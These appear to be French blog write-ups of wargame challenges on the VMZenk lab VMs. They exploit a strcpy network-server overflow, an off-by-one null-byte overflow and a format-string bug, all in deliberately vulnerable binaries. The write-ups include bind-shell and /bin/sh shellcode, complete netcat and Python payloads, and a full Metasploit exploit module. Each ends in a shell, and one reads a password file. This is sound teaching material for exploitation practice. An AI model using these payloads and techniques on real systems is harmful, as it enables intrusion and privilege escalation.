    if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(3);
    }


    if (listen(socket_descriptor, BACKLOG) == -1) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(4);
    }

 length = sizeof(my_address);

    while (1) 
 {
  
  memset(buffer,0,BUFFER_SIZE);

        if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) 
  {
            cleanup(socket_descriptor, incoming_socket);
            exit(5);
        }

  if(!strcmp(inet_ntoa(their_address.sin_addr),"127.0.0.1"))
  {
   printf("Local Interdit!\n");
   exit(6);
  }
  
        printf("Client : %s...\n", inet_ntoa(their_address.sin_addr));
        send(incoming_socket, "Bienvenue!\n", 11, 0);
        
  index = 0;

  while ((message_length = read(incoming_socket, buffer + index, 1)) > 0)
  {
            index += message_length;
            
   if (buffer[index - 1] == '\0')
                break;
        }

        printf("Message recu : %s\n", buffer);

        process(buffer);

        close(incoming_socket);
    }

    cleanup(socket_descriptor, incoming_socket);
    return 0;
}

void process(char *buffer) 
{
    char local_buffer[1024];
    strcpy(local_buffer, buffer);
}

void cleanup(int socket_descriptor, int incoming_socket) 
{
        if (socket_descriptor != -1)  {
                close(socket_descriptor);
                close(incoming_socket);
        }
}

On voit tout de suite que la vuln' se trouve dans process().

L'assembly correspondant :
Dump of assembler code for function process:
   0x080489c8 <+0>: push   ebp
   0x080489c9 <+1>: mov    ebp,esp
   0x080489cb <+3>: sub    esp,0x408
   0x080489d1 <+9>: mov    eax,DWORD PTR [ebp+0x8]
   0x080489d4 <+12>: mov    DWORD PTR [esp+0x4],eax
   0x080489d8 <+16>: lea    eax,[ebp-0x400]
   0x080489de <+22>: mov    DWORD PTR [esp],eax
   0x080489e1 <+25>: call   0x80485a4 <strcpy@plt>
   0x080489e6 <+30>: leave  
   0x080489e7 <+31>: ret    
End of assembler dump.

Cool, notre eax est pas modifié or on sait que strcpy() renvoi l'adresse de notre buffer, ça peut être utile pour les instructions du genre :
call eax

On va chercher ça avec objdump :
[user4@ZenkApp2 ~]$ objdump -d ./final | grep call | grep eax
 80486a8: ff 14 85 28 9b 04 08  call   *0x8049b28(,%eax,4)
 80486ef: ff d0                 call   *%eax
 8048a9b: ff d0                 call   *%eax

Et voilà nos deux addresses : 0x080486ef et 0x08048a9b.

On va poutrer ça de 2 manières :
- façon classique avec notre vieux python
- avec un sploit metasploit

Tout d'abord on va chercher l'offset où on re-écrit EIP.

Sous la VM on met en place GDB :
[user4@ZenkApp2 ~]$ gdb -q ./final
Reading symbols from /home/user4/final...(no debugging symbols found)...done.
gdb$ r

Puis on envoi un pattern metasploit à partir de notre machine :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 1040 | nc 192.168.56.101 7777
Bienvenue!

Regardons ce qui s'est passé dans notre VM?
Client : 192.168.56.1...
Message recu : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: BF8AD940  EBX: B77CCFF4  ECX: 00000000  EDX: 0000040E  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: 69423169  ESP: BF8ADD48  EIP: 33694232
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x33694232
0x33694232 in ?? ()
gdb$ 

On cherche l'offset correspondant :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_offset.rb `python -c 'print "\x32\x42\x69\x33"'`
1028

Ok cool on a l'offset pour re-écrire EIP.

Maintenant on va poutrer ça avec une payload de type bind shell. Vu que c'est pas un write-up shellcoding, on va pas s'embêter : msfpayload nous générera notre payload ^^.

m_101@m_101-laptop:~/repos/msf$ ./msfpayload linux/x86/shell_bind_tcp RHOST=192.168.56.101 RPORT=7337 R | ./msfencode -a x86 -b "\x00" -t c
[*] x86/shikata_ga_nai succeeded with size 106 (iteration=1)

unsigned char buf[] = 
"\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6"
"\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11"
"\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86"
"\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3"
"\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6"
"\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57"
"\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95"
"\x19";

Bon reste plus qu'à faire à notre ami netcat, on envoi la payload :
python -c 'print "\x90" * 922 + "\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95\x19" + "\xef\x86\x04\x08"' | nc 192.168.56.101 7777

Puis on se connecte :
nc 192.168.56.101 7337

Et wala :).

Maintenant la deuxième méthode, voilà mon sploit :
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VMZenk2 level4 (Linux)',
   'Description'    => %q{
                Exploit challenge 4 VMZenk2
                Bypass ASLR ;)
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11031 $',
   'References'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1020,
                    # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
                    'DisableNops' => true
    },
   'Platform'       => [ 'linux', ],
   'Targets'        =>
   [
    [ 'VMZenk2 Linux ASLR ON',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
            'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 13 2010'))

  register_options(
   [
    Opt::RPORT(7777),
   ], self.class )
 end

 def exploit
        connect

        # both ret return to : call eax
        rets = [ 0x080486ef, 0x08048a9b ]

        ret_offset = 1028

        egg = payload.encoded
        egg << rand_text_alphanumeric(ret_offset - egg.length)
        # usual way to do :
        # egg << [target.ret].pack('V')
        # better way :)
        egg << [rets[rand(rets.length)]].pack('V')

        sock.put(egg)
        handler
        disconnect
 end
end

Ca donne ça :
m_101@m_101-laptop:~/repos/msf$ ./msfconsole 

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 632 exploits - 311 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11031 updated today (2010.11.13)

msf > use exploit/linux/misc/vmzenk2level4
msf exploit(vmzenk2level4) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(vmzenk2level4) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(vmzenk2level4) > exploit 

[*] Started bind handler
[*] Command shell session 1 opened (192.168.56.1:56405 -> 192.168.56.101:4444) at Sat Nov 13 23:22:23 +0100 2010

ls
=
final
final.c
pass
id
uid=1004(user4) gid=1004(user4) groups=1004(user4)

J'espère que ce write-up vous a plu (surtout le temps que ça m'a pris pour l'écrire :p).

Have fun ;),

m_101

Links :
- Man strcpy()

mardi 9 novembre 2010

[Wargame] VmZenk1 - level11

Bonjour,

Hier soir j'ai attaquer la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.

Voici le write-ups du dernier challenge de la VM :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char **argv) {
    int arg2size ;
    char bufa[32];
    int arg1size ;
    char bufb[32];

    if(argc != 3) {
        printf("Usage : ./program arg1 arg2\n");
        return -1 ;
    }

    arg1size = strlen(argv[1]);
    arg2size = strlen(argv[2]);

    if(arg1size > sizeof(bufa)){
        printf("arg1 length should be less than 32 bytes\n");
        return -1;
    }

    strcpy(bufa, argv[1]);

    if(arg2size < sizeof(bufb)) {
        printf("arg2 length sould be less than 32 bytes");
        return -1 ;
    }
    strcpy(bufb, argv[2]);
    return 0;
}

A première vu il n'est pas possible d'exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.
Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu'on ne re-écrit qu'un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).

Il nous faut trouver en premier lieu l'offset d'EIP, on va utiliser les patterns metasploit :
level11@VmAppliZenk:~$ gdb -q ./level11

warning: not using untrusted file "/home/level11/.gdbinit"
(gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`

Program received signal SIGSEGV, Segmentation fault.
0x08048524 in main ()
Current language:  auto; currently asm
(gdb) i r
eax            0x0 0
ecx            0x41346341 1093952321
edx            0x51 81
ebx            0xb7fd8ff4 -1208119308
esp            0x4134633d 0x4134633d
ebp            0x63413563 0x63413563
esi            0x8048540 134513984
edi            0x8048390 134513552
eip            0x8048524 0x8048524 <main+224>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX.
En regardant le code du main on peut comprendre pourquoi :
0x08048519 <main+213>: mov    eax,DWORD PTR [ebp-0x58]
0x0804851c <main+216>: add    esp,0x64
0x0804851f <main+219>: pop    ecx
0x08048520 <main+220>: pop    ebp
0x08048521 <main+221>: lea    esp,[ecx-0x4]
0x08048524 <main+224>: ret

On a donc ESP = ECX - 4.

On va maintenant voir comment exploiter ça :).

Bon je vais utiliser les variables d'environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l'adresse de retour, ce sera utile pour "guesser" à peu près la valeur d'ESP et une variable d'environnement où on aura notre shellcode.
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level11@VmAppliZenk:~$ /tmp/getenv SC
SC is located at 0xbfffd753
level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'`
level11@VmAppliZenk:~$ /tmp/getenv CSTACK
CSTACK is located at 0xbfffd59c

Vous pouvez remarquer qu'on met plusieurs fois l'adresse du shellcode sur la stack, on a sûrement pas besoin d'autant mais vu que c'est une variable d'environnement ... on a autant de place qu'on veut ;). Ces ret répétés vont permettre le guessing de l'ESP et ainsi avoir une marge d'erreur.

Maintenant qu'on a fini les préparatifs, let's hack that app' :
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'`
sh-3.2$ id
uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11)
sh-3.2$ cat /home/level12/password
Le mot de passe est : ********
sh-3.2$ exit
exit

Pawned,

m_101

[Wargame] VmZenk1 - Level 9

Hello!

Je vais ici montrer un simple trick concernant l'exploitation de format string. Ca va consister à vite trouver l'addresse où écrire.

Tout d'abord le challenge :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
 if (argc != 2)
 {
  printf("Usage : ./prog arg\n");
  exit(1);
 }

 char name[1024];
 strncpy(name,argv[1],1024);
 name[1023] = '\0';
 printf("Votre nom est : ");
 printf(name);
 printf("\n");
 return 0;
}

On lance gdb :
level9@VmAppliZenk:~$ gdb -q ./level9

warning: not using untrusted file "/home/level9/.gdbinit"
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048474 <main+0>: lea    ecx,[esp+0x4]
0x08048478 <main+4>: and    esp,0xfffffff0
0x0804847b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804847e <main+10>: push   ebp
0x0804847f <main+11>: mov    ebp,esp
0x08048481 <main+13>: push   ecx
0x08048482 <main+14>: sub    esp,0x414
0x08048488 <main+20>: mov    DWORD PTR [ebp-0x408],ecx
0x0804848e <main+26>: mov    eax,DWORD PTR [ebp-0x408]
0x08048494 <main+32>: cmp    DWORD PTR [eax],0x2
0x08048497 <main+35>: je     0x80484b1 <main+61>
0x08048499 <main+37>: mov    DWORD PTR [esp],0x80485e0
0x080484a0 <main+44>: call   0x8048398 <puts@plt>
0x080484a5 <main+49>: mov    DWORD PTR [esp],0x1
0x080484ac <main+56>: call   0x80483a8 <exit@plt>
0x080484b1 <main+61>: mov    edx,DWORD PTR [ebp-0x408]
0x080484b7 <main+67>: mov    eax,DWORD PTR [edx+0x4]
0x080484ba <main+70>: add    eax,0x4
0x080484bd <main+73>: mov    eax,DWORD PTR [eax]
0x080484bf <main+75>: mov    DWORD PTR [esp+0x8],0x400
0x080484c7 <main+83>: mov    DWORD PTR [esp+0x4],eax
0x080484cb <main+87>: lea    eax,[ebp-0x404]
0x080484d1 <main+93>: mov    DWORD PTR [esp],eax
0x080484d4 <main+96>: call   0x8048358 <strncpy@plt>
0x080484d9 <main+101>: mov    BYTE PTR [ebp-0x5],0x0
0x080484dd <main+105>: mov    DWORD PTR [esp],0x80485f3
0x080484e4 <main+112>: call   0x8048388 <printf@plt>
0x080484e9 <main+117>: lea    eax,[ebp-0x404]
0x080484ef <main+123>: mov    DWORD PTR [esp],eax
0x080484f2 <main+126>: call   0x8048388 <printf@plt>
0x080484f7 <main+131>: mov    DWORD PTR [esp],0xa
0x080484fe <main+138>: call   0x8048368 <putchar@plt>
0x08048503 <main+143>: mov    eax,0x0
0x08048508 <main+148>: add    esp,0x414
0x0804850e <main+154>: pop    ecx
0x0804850f <main+155>: pop    ebp
0x08048510 <main+156>: lea    esp,[ecx-0x4]
0x08048513 <main+159>: ret    
End of assembler dump.
(gdb) break *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r %x
Starting program: /home/level9/level9 %x

Breakpoint 1, 0x080484f2 in main ()
Current language:  auto; currently asm
(gdb) x/10x $esp-16
0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 0x080484e9
0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0
0xbffff490: 0xbffff8b0 0x252e7825

On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement.
On dumpe et on doit re-écrire l'adresse de retour (en vert).
L'adresse de re-écriture est en 0xbffff47c.
Bon comment on fait en dehors de gdb?
C'est là que la format string devient utile pour de l'information leak :
(gdb) r `python -c 'print "%x." * 10'`
Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Program exited normally.
(gdb) quit

On peut calculer l'adresse où écrire grâce à la troisième valeur :
offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30
addresse où écrire : bffff470 + 0xc = bffff47c

On va essayer ça sans gdb now :).
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'`
Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c

On essaie :
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'`
sh-3.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)

Pawned,

m_101